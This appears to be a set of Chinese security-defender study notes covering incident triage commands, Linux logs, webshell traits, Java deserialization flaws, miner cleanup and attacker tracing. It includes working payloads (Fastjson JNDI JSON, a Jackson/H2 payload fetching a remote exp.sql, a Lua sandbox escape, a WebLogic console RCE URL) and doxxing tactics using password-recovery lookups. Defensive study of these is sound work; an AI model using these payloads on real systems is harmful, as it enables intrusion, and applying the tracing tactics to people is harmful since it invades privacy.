1.Windows命令 2.安全加固 3.windows系统排查 4.linux系统排查 5.linux日志 6.webshell特征 7.FastJson反序列化 8.分析,研判 9.Shiro 550 反序列化 10.Log4j 11.挖矿木马查杀 12.shiro权限绕过 13.不死马 14.沙箱逃逸 15.溯源思路 16.weblogic
1. Windows
日志:C:\Windows\System32\winevt\Logs 命令:Eventvwr.msc
2.安全加固
(1)禁用或者删除无用的账号,检查特殊账户(可远程登录、用户权限高的账号),必要时禁止远程登录用户登录,只能本地登录,设置多次登录失败锁定账户。 (2)检查重要的目录和文件的权限,chmod增加权限,防止篡改等。 (3)关闭不必要的服务,跟企业无关的服务可以暂时关闭。 (4)关闭不必要的协议,如ftp、ssh、telnet等,可能存在协议漏洞。 (5)关闭不必要的端口,有一些端口可能存在端口漏洞。 (6)时不时检查安全日志,观察日志信息。 (7)可以使用安全厂商的设备来实时检查,或者使用系统杀毒软件查杀。
3.windows系统排查思路:
(1)首先监测系统的账号安全,例如新增的账号、可疑账号、克隆账号等、隐藏账号,或者查看账号是否存在弱口令。 隐藏账号:HKEY_LOCAL_MACHINE\SAM\SAM\Domains\Account\Users\Names (2)netstat -ano查看端口详情,查看异常端口的网络连接状态或者不必要的端口开启。 (3)tasklist查看进程状态,有没有占用很多资源的进程,有没有异常的进程。 (4)wmic startup查看启动项,检查启动项的文件是否增添异常的启动项。 (5)C:\Windows\System32\winevt\Logs 查看系统日志,查看安全日志,对日志id进行筛选。Eventvwr.msc (6)使用自动化的查杀工具检查,如D盾、火绒、360、河马、webscan等 (7)计划任务schtasks (8)注册表 regedit (9)检查过去10天内修改的文件,forfiles /p c: /S /D -10 (10)Net view localhost 共享目录
4.linux系统排查思路:
(1)首先监测用户账号安全,比如新增的账号、可疑账号,重点查看可以远程登录的账号以及高权限账号。 (2)利用linux的history指令查看历史linux指令,uptime指令查看登录多久、多少用户。 (3)检查异常端口和进程,netstat检查异常端口,ps检查异常进程,可以观看资源占用的进程id来判断是否有挖矿木马等嫌疑。 (4)检查linux的启动项和系统的定时任务crontab,crontab -l查看是否有异常的任务编写进来。 (5)检查linux的日志信息/var/log/一些系统日志信息、安全日志等。 (6)自动化查杀软件,在线查杀工具,查杀脚本来查杀。 (7)启动项 ls –l /etc/rc.d/rc[0~6].d (8)grep “Failed password” /var/log/secure|tail
5.linux日志:
/var/log/message 系统启动后的信息和错误日志,是Red Hat Linux中最常用的日志之一 /var/log/secure 与安全相关的日志信息 Last -f查看登录日志 /var/log/maillog 与邮件相关的日志信息 /var/log/cron 与定时任务相关的日志信息 /var/log/spooler 与UUCP和news设备相关的日志信息 /var/log/boot.log 守护进程启动和停止相关的日志消息 /var/log/wtmp 该日志文件永久记录每个用户登录、注销及系统的启动、停机的事件 如实时查看系统日志: tail -1000f /var/log/messages
6.webshell特征:
菜刀特征: @eval (base64_decode($_POST[z0])) &参数
蚁剑特征: @ini_set(“display_errors”,“0”); Eval 参数以_0x开头
冰蝎特征: content-type为application/octet-stream; user-agent:16个 两次连续请求,相同的字符记录一个开始和结束的位置,两个16位的key 正常的请求是不会携带Cookie属性的,Path 或者 HttpOnly 之类或者其它的
6.FastJson反序列化:
Fastjson在反序列化时有个反序列化为什么对象的参数,如果将它设置为AutoType,那么我们传入的反序列化对象中加入@Type这个参数,我们就可以控制反序列化的类型
其中一个类是:com.sun.rowset.JdbcRowSetImpl 这个类有个setDataSource方法中调用了lookup,fastjson反序列化时调用这个set函数,可以通过反向列化将想要的代码注入 {“@type”:“com.sun.rowset.JdbcRowSetImpl”,“dataSourceName”:“rmi://localhost:1099/POC”, “autoCommit”:true}
fastjson<1.2.47 绕过黑名单以及@AutoType 利用java.lang.class 第一步利用java.lang.class加载黑名单类到mappings中,第二步直接从mappings中取出黑名单类完成漏洞利用。
jakson
ObjectMapper mapper = new ObjectMapper(); mapper.enableDefaultTyping(); "com.newrelic.agent.deps.ch.qos.logback.core.db.JNDIConnectionSource org.apache.ibatis.datasource.jndi.JndiDataSourceFactory org.hibernate.jmx.StatisticsService poc=[“ch.qos.logback.core.db.DriverManagerConnectionSource”, {“url”:“jdbc:h2:mem:;TRACE_LEVEL_SYSTEM_OUT=3;INIT=RUNSCRIPT FROM ‘http://192.168.136.129/exp.sql’”}]
7.分析,研判
天眼设备监控,日志分析 发现过大部分误报流量,也存在少量真实攻击流量,上报sql注入,webshell,目录扫描,Shiro 反序列化密码爆破通过告警分析告警的请求包,分析其提交的参数,如果存在明显pyload,分析其返回包如果造成500等服务器报错,或者返回200并且带着数据库返回的数据
分析其是不是误报,分析其是不是真实攻击流量,如果访问的资源或者接口本不存在,或者是因为内部人员测试产生的,就排除这次告警,如果不是,分析他的请求参数cooike,一般可以通过解码去分析请求内容,判断攻击类型,看一下响应包的内容,看一下是否攻击成功。然后通过日志去查找这个ip是否有其他请求,看一下流量是否正常,如果确认是攻击行为看下他是否有攻击成功的流量,写漏洞报告
Shiro 550 反序列化
命令=>序列化=>AES加密=>base64编码=>RememberMe Cookie值 固定秘钥
Log4j
原理:在使用log4j 2.14.0及以下版本时,对用户的输入用日志打印,底层支持了lookup函数,会解析输入执行相应的命令, 利用:通过在攻击机上编写rmi服务,通过各户机去访问,后执行会执行服务内的代码,造成攻击 防御:升级log4j版本或将log4j2.formatMsgNoLookups=true
挖矿木马查杀
-
挖矿进程确认; -
木马网络连接; -
挖矿木马文件; -
相关的定时任务。
- 首先第一步,当然得切断本机与恶意地址的连接。限制本机访问挖矿下载程序地址:修改/etc/hosts,增加对5.196.247.12的访问限制
127.0.0.1 5.196.247.12 127.0.0.1 66.70.218.4 同时防止内网其他终端以及服务器感染,建议在防火墙上将发现的连接IP加入黑名单。 - 完成切断后,执行定时删除操作,但很多时候定时任务会被黑客锁定,挖矿程序的定时任务无清除。如下图:
查看任务权限lsattr -a /var/spool/cron/),发现被chatter锁住了。 此时我们需要修改任务读写权限(chattr -a /var/spool/cron/)。 后重新清除任务计划(crontab -e),成功删除。
-
完成任务计划删除后,我们就可以对dbuse进程进行删除,Kill -9 16411(后面的序号为dbused的进程PID) -
删除/tmp目录下的可疑文件: -
删除/var/run目录与dbuse关联的文件 到这里我们基本上已经将挖矿清除干净,但是为了后续安全,需要服务器账号密码进行修改。启用强密码,建议使用随机包含大小字母数字特殊字母,不含字典符的密码。
12.shiro权限绕过CVE-2020-11989
限制:1.5.3以下,ant为*不为** 原理: 二次编码绕过 spring与shiro,对于二次编码的请求,spring只做了一次解码,而shiro做了两次解码 ;绕过 /;test/admin/page 为 test 应用下的 /admin/page 路由,进入到 Shiro 时被 ; 截断被认作为 / ,再进入 Spring 时又被正确处理为 test 应用下的 /admin/page 路由,最后导致 Shiro 的权限绕过
13.不死马
14.沙箱逃逸
- 未授权访问或拿到账号密码
- 目标为Debian及其衍生版
- luaLoadLib
- 意思就是向lua的上下文中注入一个package模块
local io_l = package.loadlib(“/usr/lib/x86_64-linux-gnu/liblua5.1.so.0”, “luaopen_io”); local io = io_l(); local f = io.popen(“id”, “r”); local res = f:read(“*a”); f:close(); return res
14.weblogic rce权限绕过
15.溯源思路
1、前段时间参加hw,通过设备对攻击行为进行分析,对存在明显攻击行为的IP进行溯源中,使用了一些溯源的方法,记录一下; 获取到攻击IP后,先试用IP反查,查询此IP是否存在邮箱,手机信息泄露之类的,通过邮箱,手机号去获取攻击者信息 https://ti.qianxin.com/ 奇安信威胁情报中心 https://x.threatbook.cn/ 微步在线威胁情报社区 ip反查域名 域名查whois注册信息 域名查备案信息 域名反查邮箱 邮箱反查下属域名 域名反查注册人 注册人反查下属域名 2、在获取到手机号,邮箱的情况下,使用各种社交软件,攻击者可能使用的手机号,邮箱就是自己正在使用的,因此购物平台搜索是否存在此用户,这些平台可能会得到想不到的信息。比如:支付宝,微信,QQ,闲鱼,京东,淘宝,企业微信查等等,在这些软件中可以使用密码找回功能获取他的手机号,或者邮箱号,甚至是姓名。 3、程序PDB信息泄露 场景有很多,比如拦截捕获到了木马样本,比如shellcode loader,通过自己编译生成的这种程序,如果生成了调试信息,没有勾选否,那么就可能会造成PDB信息泄露。 例:前面某期间,抓到的木马样本,通过C32看到程序尾部的信息,找到了生成木马的主机用户名,通常情况下很多黑客都喜欢用自己的ID作为主机用户名,跟同事通过Twitter看到另外的大佬也捕获到了这个马子,推断是国外黑客,虽然最终没有准确溯源到人,但是这个是一种溯源的思路。 通过C32分析,看到尾部的信息,找到mr.anderson这个ID。 https://mp.weixin.qq.com/s/FlqiFkworLZiOdHendYNiQ 4、逆向思考攻击者是哪类人,在hw期间参加攻击队的人必然是大佬,大佬在成为大佬之前必然活跃与学校CTF战队,各个安全论坛中,在学校参加安全比赛获取到奖,名次,必然会在他们读书的学校官网上有他们获奖的记录,因此在溯源到攻击者IP,姓名,学校的时候可以去他们学校网站搜索一下,可能会获取到对方的照片哦,此次hw中就通过此思路获取到了某大佬在厦*大学读书期间的获奖新闻,与他们战队的照片,现在在阿里工作。大佬毕竟是大佬在接触安全初期必然很活跃可以通过此思路去查找他在学校期间的新闻,安全论坛等等, 5、挖洞网站。 同样的hw期间的攻击队是大佬,大佬在挖漏洞的时候,可能会使用自己的手机号注册各种网站,通过这些网站存在此手机号,那么此网站可能存在漏洞,我们也可以挖一下,万一存在漏洞,就赚到了,提交src吧。
weblogic
http://192.168.126.130:7001/console/css/%252e%252e%252fconsole.portal?_nfpb=true&_pageLabel=&handle=com.tangosol.coherence.mvel2.sh.ShellSession(“java.lang.Runtime.getRuntime().exec(‘touch%20/tmp/success1’);”)
;这个利用方法只能在Weblogic 12.2.1以上版本利用,因为10.3.6并不存在com.tangosol.coherence.mvel2.sh.ShellSession类。 第一种方法是通过com.tangosol.coherence.mvel2.sh.ShellSession 第二种方法是通过com.bea.core.repackaged.springframework.context.support.FileSystemXmlApplicationContext
|